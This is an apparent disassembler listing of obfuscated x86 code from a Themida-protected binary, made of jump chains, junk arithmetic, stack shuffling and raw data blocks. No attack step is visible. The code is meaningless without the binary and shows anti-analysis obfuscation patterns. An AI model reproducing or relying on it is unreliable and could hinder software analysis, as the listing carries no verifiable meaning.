xor edx, esi jmp loc_51008E ; --------------------------------------------------------------------------- dd 51E2E681h, 0EE814802h, 0F5740043h, 6FE3C181h, 0A3E9678Fh db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_507B2B: ; CODE XREF: Themida_:00506784j sub esi, 10807420h pop eax push eax mov eax, 4 sub esi, eax mov eax, [esp] add esp, 4 xchg esi, [esp] jmp loc_5069D7 ; --------------------------------------------------------------------------- loc_507B48: ; CODE XREF: Themida_:00508B76j add ecx, 0D9D9F3F0h and ebx, ecx pop ecx shr ebx, 3 sub ebx, 663A6007h sub ebx, 60AD4921h jmp loc_503D13 ; --------------------------------------------------------------------------- db 0C0h, 0EEh, 2 dd 0CD10E9h, 0FE015F00h, 2434335Fh, 33243431h, 5BE92434h dd 83FFFFA9h, 16E904C4h db 75h, 2 dup(0) ; --------------------------------------------------------------------------- loc_507B87: ; CODE XREF: Themida_:0050CEEAj mov esi, 14AC5E1Ah jmp loc_512B1D ; --------------------------------------------------------------------------- aZsslm db 'ZS髌',0 align 4 dd 1E9D001h, 28FFFFFDh, 59FD04C8h, 0A22C5966h, 1E7D68h dd 9FBFE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507BB2: ; CODE XREF: Themida_:00505E9Dj shr edi, 2 or edi, 0E470318h jmp loc_50B608 ; --------------------------------------------------------------------------- dd 4C481h, 1AE90000h, 8B000097h, 0C4832414h, 0C33DE904h dd 0E6C1FFFFh, 8E6C105h, 0CFF6814Eh, 8949E628h, 0DD295EF3h dd 35F9E9h db 0 ; --------------------------------------------------------------------------- loc_507BED: ; CODE XREF: Themida_:0050F086j mov esi, 0AEA3C1B9h xor esi, ebp mov ebp, [esp] jmp loc_50510B ; --------------------------------------------------------------------------- dd 24348758h, 2404895Ch, 1BEA68h, 24348900h, 0C234D3BEh dd 1A1D680Ch, 14890000h, 8D0AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_507C1E: ; CODE XREF: Themida_:00511346j push edx mov edx, esp sub esp, 4 mov [esp], edi mov edi, 1FB14C0Bh add edi, 71525CF0h add edi, 6EFC5709h add edx, 61604E1Bh add edx, edi sub edx, 61604E1Bh pop edi sub edx, 4 xchg edx, [esp] pop esp mov [esp], edi jmp loc_5132B7 ; --------------------------------------------------------------------------- loc_507C56: ; CODE XREF: Themida_:00511D27j mov [esp], edx jmp loc_50C6C9 ; --------------------------------------------------------------------------- dw 0E9ACh dd 0FFFFDF11h ; --------------------------------------------------------------------------- loc_507C64: ; CODE XREF: Themida_:005044B1j pop esi mov edi, ecx mov ecx, [esp] jmp loc_511F51 ; --------------------------------------------------------------------------- db 0BBh dd 6FDF1D72h, 0F381D3F7h, 8C818BD9h, 2D5BD801h, 1B49236Dh dd 4AA1E9h db 0 ; --------------------------------------------------------------------------- loc_507C89: ; CODE XREF: Themida_:0050EC5Ej mov [esp], edx push eax push 5F555867h pop eax jmp loc_51175A ; --------------------------------------------------------------------------- dd 6416BB66h, 66DD2966h, 0E801665Bh, 205F685Dh, 4890000h dd 53686624h, 14896607h, 98686624h, 835A6602h, 0BEE904ECh db 86h, 2 dup(0) ; --------------------------------------------------------------------------- loc_507CC3: ; CODE XREF: Themida_:00510CCDj xor ebp, 36B02D42h push ebp not dword ptr [esp] pop ebp push eax mov eax, 6DB7004h sub eax, 970F002Ah and ebp, eax mov eax, [esp] add esp, 4 jmp loc_5050AD ; --------------------------------------------------------------------------- loc_507CE6: ; CODE XREF: Themida_:00508354j sub ebx, eax mov eax, [esp] jmp loc_502634 ; --------------------------------------------------------------------------- dd 0E5668A2Dh, 6FF1E935h db 2 dup(0) ; --------------------------------------------------------------------------- loc_507CFA: ; CODE XREF: Themida_:005055A6j pop esi push esi push eax mov eax, 3C6E67A5h mov esi, eax pop eax or esi, 33703A72h not esi jmp loc_50ADD4 ; --------------------------------------------------------------------------- loc_507D12: ; CODE XREF: Themida_:0050C9C6j xor edi, ebx push ebx xchg ebp, [esp] not ebp xchg ebp, [esp] jmp loc_503CBC ; --------------------------------------------------------------------------- dw 0D901h aBsq12sad db '[Q1',27h,'2d',0 align 10h loc_507D30: ; CODE XREF: Themida_:00506DFDj mov al, bl pop ebx mov dh, al jmp loc_507DD9 ; --------------------------------------------------------------------------- dw 4BBh dd 1000000h, 75E95BD9h, 88FFFFD9h, 0E9585BFEh, 247Bh ; --------------------------------------------------------------------------- loc_507D50: ; CODE XREF: Themida_:0051252Dj shr esi, 1 shr esi, 5 sub esi, 0EBA12Ch jmp loc_50378F ; --------------------------------------------------------------------------- loc_507D60: ; CODE XREF: Themida_:00507253j mov ebp, 0C03ED2DFh add esi, ebp pop ebp jmp loc_502CC9 ; --------------------------------------------------------------------------- db 89h, 0F0h, 5Eh dd 1C2D39BBh, 58C3311Ch, 2027E9h, 59CF0100h, 197AEA81h dd 0FA0138EEh, 0FFF6CEE9h, 0F6664FFh, 686602B6h, 89663A08h dd 77E92404h db 7Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507D9F: ; CODE XREF: Themida_:00507F55j and eax, 6BEC3499h inc eax and eax, 6041AA9h or eax, 520A0DE2h sub eax, 520A1DDFh add ecx, eax jmp loc_5100D5 ; --------------------------------------------------------------------------- db 89h dd 51562424h, 4B9h, 59CE8900h, 4247401h, 6D1AE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_507DD2: ; CODE XREF: Themida_:00510B4Ej push eax pushf jmp loc_4FF816 ; --------------------------------------------------------------------------- loc_507DD9: ; CODE XREF: Themida_:00507D35j pop eax mov ecx, [esp] jmp loc_50FFB5 ; --------------------------------------------------------------------------- loc_507DE2: ; CODE XREF: Themida_:005143C9j mov esi, esp push ecx jmp loc_503A9F ; --------------------------------------------------------------------------- loc_507DEA: ; CODE XREF: Themida_:00504A4Fj push edx mov edx, esp jmp loc_507134 ; --------------------------------------------------------------------------- loc_507DF2: ; CODE XREF: Themida_:005028DBj mov [esp], edx push ebx mov ebx, 4C7E3B8Dh mov edx, 4C7E3BA9h xor edx, ebx push dword ptr [esp] pop ebx add esp, 4 add edx, edi mov dword ptr [edx], 4FCB2B68h push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_5142F7 ; --------------------------------------------------------------------------- loc_507E28: ; CODE XREF: Themida_:00502D26j push edi jmp loc_5119A7 ; --------------------------------------------------------------------------- dw 0CB81h dd 7C61757Eh, 0FF8F49E9h, 1FC4BFFFh, 0E94F2568h, 0FFFFCE4Dh ; --------------------------------------------------------------------------- loc_507E44: ; CODE XREF: Themida_:0050B75Aj mov ebx, [esp] jmp loc_50C97D ; --------------------------------------------------------------------------- dd 0FB42F5B8h, 6B66E978h db 2 dup(0) ; --------------------------------------------------------------------------- loc_507E56: ; CODE XREF: Themida_:00508806j shr edx, 7 add edx, 73B81E61h xor edx, 30935567h shl edx, 6 xor edx, 28ABC684h sub edi, 31DE2B24h add edi, edx add edi, 31DE2B24h pop edx jmp loc_50A476 ; --------------------------------------------------------------------------- dw 5B66h dd 243C8B66h, 2C481h, 81660000h, 0FB022444h, 6C816672h dd 51B40224h, 24440166h, 67ECE902h, 0C4810000h, 4, 836BAA05h dd 3A41057Eh, 0FDE95038h db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507EBB: ; CODE XREF: Themida_:0050B7DDj push eax jmp loc_50B5DE ; --------------------------------------------------------------------------- loc_507EC1: ; CODE XREF: Themida_:0051196Aj mov ebx, 1B9149C7h sub esi, ebx mov ebx, [esp] add esp, 4 add edi, 274015DFh push ebp mov ebp, 6AC571AEh jmp loc_502B4C ; --------------------------------------------------------------------------- loc_507EDF: ; CODE XREF: Themida_:0050ADEBj xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_502657 ; --------------------------------------------------------------------------- dw 0E181h dd 3EF239Ch, 200CF181h, 0C8010220h, 2367E959h, 0C890000h dd 35C16824h, 4890000h, 26824h, 17E90000h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507F17: ; CODE XREF: Themida_:00503378j push edi push eax mov eax, 6AF84236h xor eax, 586530D7h xor eax, 40113844h xor eax, 47D62D24h mov edi, eax pop eax add ebx, 25CB3A40h add ebx, edi sub ebx, 25CB3A40h pop edi jmp loc_501843 ; --------------------------------------------------------------------------- loc_507F44: ; CODE XREF: Themida_:0050F12Ej xchg ebx, [esp] mov esp, [esp] mov [esp], ecx mov ecx, esp push eax mov eax, 64AB3632h jmp loc_507D9F ; --------------------------------------------------------------------------- loc_507F5A: ; CODE XREF: Themida_:005043ABj sub dl, 0 mov bh, dl jmp loc_50E394 ; --------------------------------------------------------------------------- dd 9D1C77FFh, 4105866h, 0A3E99C24h db 78h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507F73: ; CODE XREF: Themida_:00513366j not ebx add ebx, 0EB3502Dh add ebx, 0EC8ACCD1h add esi, ebx pop ebx add eax, esi pop esi sub eax, 4 xchg eax, [esp] jmp loc_509ACC ; --------------------------------------------------------------------------- loc_507F94: ; CODE XREF: Themida_:0050E103j sub ebp, ecx sub ebp, 442A3720h jmp loc_50D35F ; --------------------------------------------------------------------------- loc_507FA1: ; CODE XREF: Themida_:00511C5Aj jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- dd 8B66C361h, 468240Ch, 8900004Eh, 0E389241Ch, 2FC8E9h db 0 ; --------------------------------------------------------------------------- loc_507FB9: ; CODE XREF: Themida_:005064FDj mov esp, [esp] push ecx push 433B6C6Ch pop ecx add ecx, 436B0318h shr ecx, 1 shr ecx, 8 jmp loc_50A665 ; --------------------------------------------------------------------------- loc_507FD3: ; CODE XREF: Themida_:0050EBBAj pop esi sub dword ptr [esp+4], 5C97176Bh add dword ptr [esp+4], 221A4348h sub dword ptr [esp+4], 4D125ECAh jmp loc_501E6B ; --------------------------------------------------------------------------- loc_507FF1: ; CODE XREF: Themida_:00512E33j shr ebp, 2 jmp loc_50EC46 ; --------------------------------------------------------------------------- loc_507FF9: ; CODE XREF: Themida_:005102AAj push dword ptr [esp] pop ebp add esp, 4 jmp loc_5043B6 ; --------------------------------------------------------------------------- loc_508005: ; CODE XREF: Themida_:0050F6AEj push ebx jmp loc_508931 ; --------------------------------------------------------------------------- loc_50800B: ; CODE XREF: Themida_:005011F3j mov esi, 4 add ecx, 20E862FBh add ecx, esi sub ecx, 20E862FBh pop esi xchg ecx, [esp] pop esp jmp loc_50A0B6 ; --------------------------------------------------------------------------- loc_508028: ; CODE XREF: Themida_:00511C15j push ecx jmp loc_513E37 ; --------------------------------------------------------------------------- aS_q db '[.',0 align 4 dd 42474FFh, 0C5BBE95Ah, 34FF0000h, 6B07E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_508046: ; CODE XREF: Themida_:0050892Cj xor ebx, ecx pop ecx add ebp, 15134372h push esi mov esi, 39E368B6h add ebp, esi pop esi add ebp, 309571BDh add ebp, ebx sub ebp, 309571BDh sub ebp, 39E368B6h push ecx mov ecx, 120266DAh add ecx, 582746E5h xor ecx, 78B677D9h sub ecx, 53E375A4h add ecx, 4DAA7CF0h sub ecx, 0F7539E40h sub ebp, ecx pop ecx pop ebx add ebp, 4 xchg ebp, [esp] pop esp jmp loc_511E5A ; --------------------------------------------------------------------------- dd 82E9D6F7h, 8100001Dh, 4B0A8FC2h, 0B8505D7Fh, 2, 48BC201h dd 0B25EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5080BE: ; CODE XREF: Themida_:0050A0B9j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_51466E ; --------------------------------------------------------------------------- loc_5080CF: ; CODE XREF: Themida_:00508AEEj push esp pop ebp jmp loc_50D47B ; --------------------------------------------------------------------------- loc_5080D6: ; CODE XREF: Themida_:0050A56Cj pop ebp add ebp, 37385342h mov esi, [esp] add esp, 4 and eax, ebp push dword ptr [esp] pop ebp add esp, 4 or edx, eax shl edx, 1 jmp loc_503521 ; --------------------------------------------------------------------------- loc_5080FB: ; CODE XREF: Themida_:005121FDj shl bh, 4 sub bh, 0CBh sub cl, 46h add cl, bh add cl, 46h pop ebx shl cl, 8 jmp loc_5130DA ; --------------------------------------------------------------------------- loc_508112: ; CODE XREF: Themida_:00508DD6j neg eax inc eax and eax, 44260BFBh add eax, 1F8B5E1Dh mov edi, eax pop eax push edx mov edx, 11EE34F6h xor edi, edx pop edx and edi, 79FF6FCBh inc edi add edi, 0FFFFFFFFh jmp loc_51310C ; --------------------------------------------------------------------------- loc_50813A: ; CODE XREF: Themida_:00511933j xchg ebx, [esp] pop esp sub esp, 4 mov [esp], ecx push 5598h mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop ecx add esp, 4 sub esp, 4 mov [esp], edi mov edi, 4 add ecx, edi pop edi push edx mov edx, 4 add ecx, edx pop edx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov edx, [esp] push esi push 368Ch mov [esp], esp push ebp mov ebp, 4 sub dword ptr [esp+4], 42830C88h add [esp+4], ebp add dword ptr [esp+4], 42830C88h mov ebp, [esp] add esp, 4 push dword ptr [esp] pop esi add esp, 4 sub esp, 4 mov [esp], edi jmp loc_508DCB ; --------------------------------------------------------------------------- dw 1C89h dd 0FEB1B724h, 0CC6EE9C7h, 0DA68FFFFh, 8900004Bh, 5FE9241Ch dd 29FFFFCEh, 6A9305F0h, 11E94366h, 0BAFFFF96h, 1A758D5h dd 68h, 0B3E3E900h, 815A0000h, 0BDC94AC2h, 7EE957B1h, 0BB000075h dd 7DD34F4h, 5BA7E9h, 241C8900h, 0E904EC83h, 0FFFFA87Ah ; --------------------------------------------------------------------------- loc_508214: ; CODE XREF: Themida_:005019C1j push eax jmp loc_50C4B2 ; --------------------------------------------------------------------------- dw 4BAh dd 55000000h, 3271AA68h, 5AE95D02h, 81FFFFE6h, 4E7506C5h dd 0DDF74535h, 0FFB030E9h, 89C789FFh, 89585FFDh, 0C65BE9EBh dd 0C890000h, 3B4B924h, 0F3E9290Eh, 21000017h, 243C8BFDh dd 8304C483h, 148904ECh, 0DA95E924h, 0C588FFFFh, 2A70E9h dd 2474FF00h, 2434FF04h, 66CB6858h, 3C890000h, 52E78924h dd 4BAh, 0D09CE900h, 9D2CFFFFh, 50045A66h, 79768h, 242C8900h dd 41CFE9h, 264CBA00h, 0EA81612Ch, 0F13A9E0h, 565AD729h dd 0B4B8E9h, 53E18900h, 8FBBE9h, 4C38100h, 0E9FFFFFEh dd 0C0C2h, 0E904C483h, 1FE5h, 31243C33h, 3C33243Ch, 2CE95C24h dd 0FF000069h, 48B2434h, 0C304E924h, 1489FFFFh, 1EB85024h dd 0E9102E4Dh, 6985h ; --------------------------------------------------------------------------- loc_5082F4: ; CODE XREF: Themida_:00505806j add bl, 7Bh add bl, cl jmp loc_507550 ; --------------------------------------------------------------------------- loc_5082FE: ; CODE XREF: Themida_:00510F6Ej add ebp, edi pop edi xchg ebp, [esp] pop esp and eax, 750C235Dh shr eax, 8 add eax, 0FFAFF803h sub ebp, 33AE15B3h add ebp, eax add ebp, 33AE15B3h jmp loc_50E9CE ; --------------------------------------------------------------------------- loc_508325: ; CODE XREF: Themida_:00505EA5j mov edi, 381760Eh sub esi, 2CA001ABh jmp loc_50F80A ; --------------------------------------------------------------------------- loc_508335: ; CODE XREF: Themida_:00514457j pop eax push ebp mov ebp, 1DEA44C1h jmp loc_50BA10 ; --------------------------------------------------------------------------- loc_508341: ; CODE XREF: Themida_:00514B67j add ebx, 71EF1325h push 6D46h mov [esp], eax mov eax, 6E040638h jmp loc_507CE6 ; --------------------------------------------------------------------------- db 81h, 0C3h, 90h dd 0E923E115h, 0FFFFAD64h, 27B282Dh, 0F4E8E972h, 34FFFFFFh dd 2434FF24h, 0E92434FFh, 67E7h ; --------------------------------------------------------------------------- loc_50837C: ; CODE XREF: Themida_:0050954Cj mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] push 5A02h jmp loc_50B465 ; --------------------------------------------------------------------------- loc_508391: ; CODE XREF: Themida_:0050D946j add ebx, 7DA71845h sub ebx, 55B22ADAh sub ebx, 480A17EFh add ebx, 19646F90h pop esi mov edi, ebx mov ebx, [esp] add esp, 4 jmp loc_513FBE ; --------------------------------------------------------------------------- db 81h dd 4C6h, 24348700h, 5A24248Bh, 67ECBE56h, 0ED686CE8h, 0E9000061h dd 0FFFF91C1h, 0FF743DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5083D9: ; CODE XREF: Themida_:00503A6Cj pop edi pop eax mov eax, 0BE00D42Eh sub eax, ebp jmp loc_50529A ; --------------------------------------------------------------------------- db 59h dd 47AEF581h, 0C5812BFEh, 9C2DAE73h, 0E95DEF01h, 0FFFFFE57h dd 8B24048Fh, 24892424h, 6F6DE924h, 0E9560000h, 7C94h dd 4246C81h, 5FCF3809h, 81241C8Bh, 4C4h, 5549E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_508426: ; CODE XREF: Themida_:0050C6EFj push dword ptr [esp] mov edi, [esp] add esp, 4 push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp sub edi, 889BB4CBh and eax, edi mov edi, [esp] push ecx mov ecx, esp push eax jmp loc_50DB88 ; --------------------------------------------------------------------------- dw 34FFh aSbm db '$題',0 align 2 loc_50846E: ; CODE XREF: Themida_:00503D0Ej mov edx, [esp] jmp loc_50F685 ; --------------------------------------------------------------------------- dw 0EDC0h dd 9A62E903h, 0BE560000h, 22A24B32h, 28DAC681h, 0D6F76F62h dd 5B20EE81h, 0F101D168h, 67EEE9h, 5166AC00h, 8904EC83h dd 0B252241Ch, 68C2FE3Fh, 0 dd 0E9241428h, 0FFFFEA42h, 3B68E289h, 8900007Bh, 0D2BE2434h dd 686E5711h, 4B38h, 0B9240C89h, 6E5711CEh, 6859CE29h dd 53E1h, 53240C89h, 165C7968h, 0F3815B6Dh, 391E037Fh dd 815B5953h, 0D1F744C1h, 8BCA01C3h db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_50D8F7 ; --------------------------------------------------------------------------- dw 0C483h dd 5BFA0804h, 0E9AFEA80h, 93CAh ; --------------------------------------------------------------------------- loc_508518: ; CODE XREF: Themida_:00505B8Bj mov ecx, 4 jmp loc_50D2F7 ; --------------------------------------------------------------------------- loc_508522: ; CODE XREF: Themida_:00514658j mov [esp], edi jmp loc_50EDC4 ; --------------------------------------------------------------------------- dw 2C8Bh dd 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h, 41ABBF57h dd 16E95F8Dh, 66000039h, 90C68058h, 0E930F680h, 0A1CDh dd 4F59CF89h, 0EF81D7F7h, 37BF2EB8h, 0FF8B76E9h db 0FFh ; --------------------------------------------------------------------------- loc_508569: ; CODE XREF: Themida_:0050EE86j mov [esp], eax jmp loc_50BB67 ; --------------------------------------------------------------------------- db 83h, 0C6h, 4 dd 5C243487h, 34FF5456h, 0EE0FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_508582: ; CODE XREF: Themida_:00509572j xchg esi, [esp] pop esp jmp loc_4FF816 ; --------------------------------------------------------------------------- loc_50858B: ; CODE XREF: Themida_:00511868j add esp, 4 add ebx, 2BEC583Dh sub ebx, ebp sub ebx, 2BEC583Dh push dword ptr [esp] pop ebp push ebx jmp loc_509422 ; --------------------------------------------------------------------------- dw 7968h dd 5E30A030h, 3AE9D6F7h, 5900002Ah, 51E9C981h, 0B85057D7h dd 6B956E1Bh, 9149A205h, 5D0F767h, 0FFFFFFFFh, 0FFFFFF2Dh dd 3811E9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5085D6: ; CODE XREF: Themida_:004FFEA7j shl ebp, 8 jmp loc_508E39 ; --------------------------------------------------------------------------- loc_5085DE: ; CODE XREF: Themida_:0050C056j push edi mov edi, esp push ebx mov ebx, 4 sub edi, 75161DE0h add edi, ebx jmp loc_50E189 ; --------------------------------------------------------------------------- loc_5085F4: ; CODE XREF: Themida_:0050E56Cj push edi push 10CFh jmp loc_5029E3 ; --------------------------------------------------------------------------- loc_5085FF: ; CODE XREF: Themida_:0050348Ej push esi mov esi, 5C97176Bh add [esp+8], esi pop esi pop ebx add [esp], eax jmp loc_5067B8 ; --------------------------------------------------------------------------- loc_508613: ; CODE XREF: Themida_:00503D7Dj pop edx sub ebp, 3A514E19h add eax, ebp jmp loc_50A966 ; --------------------------------------------------------------------------- db 5Ah, 2Dh, 0EBh dd 5D1EF47Fh, 131AE953h, 0C5BB0000h, 436D662Ch, 83F9E9h dd 4EC8300h, 0BF00E9h, 2CC9B700h, 53F828C3h, 41E9C9B3h dd 6800003Dh, 5258h, 468E9h, 71B8E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50865E: ; CODE XREF: Themida_:00500CF2j add esp, 4 pop ecx sub esp, 4 mov [esp], ecx not dword ptr [esp] pop ecx xor edx, ecx xor ecx, edx xor edx, ecx xor [esp], edx xor edx, [esp] xor [esp], edx jmp loc_50C204 ; --------------------------------------------------------------------------- loc_508680: ; CODE XREF: Themida_:0050C8BBj push dword ptr [esp] pop ebp push 199Bh mov [esp], esi push 70A8h mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp push 478Fh mov [esp], eax push dword ptr [esp+4] mov eax, [esp] jmp loc_510D1A ; --------------------------------------------------------------------------- dw 0C801h dd 0A2E0E9h db 0 ; --------------------------------------------------------------------------- loc_5086C1: ; CODE XREF: Themida_:00513CBEj push eax mov eax, esp add eax, 4 push edx jmp loc_5029D7 ; --------------------------------------------------------------------------- loc_5086CF: ; CODE XREF: Themida_:0050FE9Cj mov [esp], ecx jmp loc_501F26 ; --------------------------------------------------------------------------- a1S7 db '17',0 align 2 dw 0BD55h dd 42B80E14h, 815DEB21h, 0C91AECE3h, 16E9563Ch, 55FFFF7Fh dd 2BB85052h, 0F7342274h, 60F725D8h, 0D0F7411Ch, 0FFD9FCE9h dd 0E9B92CFFh, 3103h, 0B8E9EAB6h, 1FFFF9Ch, 243C8BFDh dd 4C481h, 6F210000h, 2434FF1Ch, 0B0C4E95Dh, 57590000h dd 0D5476CBFh, 0F39BE93Ah, 0C481FFFFh, 4, 34FFF030h, 24148B24h dd 8304C483h, 0EB8004C4h, 4DB65273h, 0E945B450h, 0FFFFAFC2h ; --------------------------------------------------------------------------- loc_50875C: ; CODE XREF: Themida_:004FF9D0j add al, bl add al, 17h mov bx, [esp] add esp, 2 add al, 0EAh sub al, bl jmp loc_50E28E ; --------------------------------------------------------------------------- db 54h dd 4C5815Dh, 51000000h, 4B9h, 69C58100h, 130F826h, 41ADE9CDh dd 74290000h, 0BD550824h, 5F6D1009h, 0C246C01h, 0FFC73DE9h dd 4C681FFh, 56000000h, 42474FFh, 0FFE70AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5087B1: ; CODE XREF: Themida_:005029D2j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp or edx, eax shl edx, 1 push ebx mov ebx, 24h jmp loc_503F42 ; --------------------------------------------------------------------------- dd 1342CB81h, 41E95C6Eh, 81000040h, 2132D6C5h, 5DEB01A0h dd 1BE56h, 7EE90000h, 29FFFF98h, 0F0295EF0h, 60DC505h dd 8D20E91Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5087FE: ; CODE XREF: Themida_:0050262Fj mov [esp], edx mov edx, 3CEE0E71h jmp loc_507E56 ; --------------------------------------------------------------------------- loc_50880B: ; CODE XREF: Themida_:00513107j mov bx, [esp] add esp, 2 push 6E9Fh mov [esp], ecx push ebx push eax push edx mov dl, 2 mov al, dl pop edx xor al, 3Eh jmp loc_512DC6 ; --------------------------------------------------------------------------- loc_50882C: ; CODE XREF: Themida_:00509E8Bj push esi mov esi, 3CE23BD3h add edi, esi pop esi push esi mov esi, 1365076Dh sub esi, 0E753B83Fh sub edi, esi pop esi pop ebp xor esi, edi push dword ptr [esp] pop edi add esp, 4 shr esi, 2 shl esi, 5 add esi, 0A379E540h jmp loc_505083 ; --------------------------------------------------------------------------- loc_508862: ; CODE XREF: Themida_:0050DBD7j sub [esp], ebp jmp loc_505F1F ; --------------------------------------------------------------------------- loc_50886A: ; CODE XREF: Themida_:005129D5j mov [esp], ebx jmp loc_50C707 ; --------------------------------------------------------------------------- dw 0BBAh dd 0C13E9E5Eh, 5AE905EAh, 80000003h, 9504E5EFh, 952CF828h dd 733CE9h db 0 ; --------------------------------------------------------------------------- loc_50888D: ; CODE XREF: Themida_:00500082j push 5F26h mov [esp], edx mov edx, esp push 70F3h mov [esp], esi mov esi, 4 add edx, esi push dword ptr [esp] jmp loc_50787E ; --------------------------------------------------------------------------- dw 8B66h dd 0E1E92404h, 68FFFF87h, 1F94h, 8F6CE9h, 0C7EA8100h, 8B531D32h dd 0B6E92404h, 81FFFF9Bh, 0F718C4F6h, 9B40E90Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5088DA: ; CODE XREF: Themida_:0050EDDDj pop eax jmp loc_501705 ; --------------------------------------------------------------------------- dd 0EC83D801h, 242C8904h, 616DE9BDh db 27h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_5050A5 ; --------------------------------------------------------------------------- dw 1C89h dd 0BA525124h, 37ED5038h, 4E1FE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50890E: ; CODE XREF: Themida_:0050E19Aj sub edi, edx mov edx, [esp] push ebp jmp loc_5074C3 ; --------------------------------------------------------------------------- loc_508919: ; CODE XREF: Themida_:0050EFF9j sub ebx, 5B743805h push 4726h mov [esp], ecx mov ecx, 3DFD4940h jmp loc_508046 ; --------------------------------------------------------------------------- loc_508931: ; CODE XREF: Themida_:00508006j push 1AC700ABh pop ebx sub ebx, 52862C1Eh mov [edi+20h], ebx pop ebx push eax push esi push 71800220h mov esi, [esp] jmp loc_511892 ; --------------------------------------------------------------------------- loc_508950: ; CODE XREF: Themida_:00506069j mov edx, [esp] push 1E2Fh mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp push esi jmp loc_502819 ; --------------------------------------------------------------------------- dw 0EE81h dd 7C9A413Eh, 8124148Bh, 4C4h, 3DDC6800h, 34890000h, 3AE46824h dd 515E34B9h, 6D2CB850h, 36E96B0Dh db 95h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50899F: ; CODE XREF: Themida_:005130C6j sub edx, eax pop eax sub edx, 3FF1745Fh shr edx, 2 jmp $+5 add edx, 0FFFFFFFFh add edx, 65FD0D8Ah or edx, 2C890862h add edx, 0A21AC082h sub ebx, 65277CBDh jmp loc_506BCE ; --------------------------------------------------------------------------- aZLSI db '<$$$鼈',0 align 2 loc_5089DE: ; CODE XREF: Themida_:00509994j push 619Ch jmp loc_500355 ; --------------------------------------------------------------------------- dd 0E95BD989h, 0FFFF9B4Fh ; --------------------------------------------------------------------------- loc_5089F0: ; CODE XREF: Themida_:00504BBDj mov bh, 87h mov al, 0C5h sub al, bh pop ebx mov bl, al pop eax push 2C28h mov [esp], edx push ecx jmp loc_50C2CC ; --------------------------------------------------------------------------- loc_508A08: ; CODE XREF: Themida_:005028AAj pop esp jmp loc_50DA48 ; --------------------------------------------------------------------------- dw 0BBBAh dd 0E9209910h, 0A453h ; --------------------------------------------------------------------------- loc_508A18: ; CODE XREF: Themida_:0050E8CDj mov ebp, 680B3354h add dword ptr [esp+4], 56802007h add dword ptr [esp+4], 2A715CC7h jmp loc_505A32 ; --------------------------------------------------------------------------- dw 74FFh dd 2C8B0424h, 4C48124h, 0E9000000h, 4E54h, 2414895Ch, 0C680ABB6h dd 5E6C06Eh, 8001C680h, 62E917E6h, 33000058h, 1C31241Ch dd 241C3324h, 0D324248Bh, 0E99C2424h, 5AB0h, 0AB7679BDh dd 81DDF75Ah, 0B97973C5h, 8AC0E9ACh, 4310000h, 24043324h dd 0D3CE9h, 81E58900h, 4C5h, 4ED8300h, 0E9242C87h, 7228h dd 0E2E9C329h, 5A000070h, 5A2CE9h db 0 ; --------------------------------------------------------------------------- loc_508AAD: ; CODE XREF: Themida_:005125A5j sub ecx, edi mov edi, [esp] push ebp jmp loc_505B82 ; --------------------------------------------------------------------------- aIYzs db 'YZ>',0 dd 48F5400h, 584CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_508ACA: ; CODE XREF: Themida_:00509196j sub ebp, esi pop esi sub ebp, 784106CCh and eax, ebp pop ebp jmp loc_5106C0 ; --------------------------------------------------------------------------- loc_508ADB: ; CODE XREF: Themida_:0050B1A2j pop eax push ebx mov ebx, 6EA76186h jmp loc_50E48B ; --------------------------------------------------------------------------- loc_508AE7: ; CODE XREF: Themida_:00510164j xchg ebx, [esp] mov esp, [esp] push ebp jmp loc_5080CF ; --------------------------------------------------------------------------- db 0F6h dd 0B05066DBh, 0FDC38006h, 0FF877DE9h, 240481FFh, 4, 0F3E9505Ah dd 0FF00006Bh, 8DE92434h, 810000B9h, 232C21F6h, 20BDE935h db 2 dup(0) ; --------------------------------------------------------------------------- loc_508B22: ; CODE XREF: Themida_:0050A16Aj push 0 jmp loc_513CF3 ; --------------------------------------------------------------------------- dd 0EF81F701h, 2B27100Fh, 5E26C781h, 815E0A62h, 2C7h, 243C8700h dd 0AFA2E95Ch, 489FFFFh, 56585424h, 4BEh, 5EF00100h, 8704E883h dd 895C2404h, 0E189240Ch, 4C181h, 0E9550000h, 0FFFFD76Ch ; --------------------------------------------------------------------------- loc_508B70: ; CODE XREF: Themida_:00505E4Bj mov esi, [esp] add esp, 4 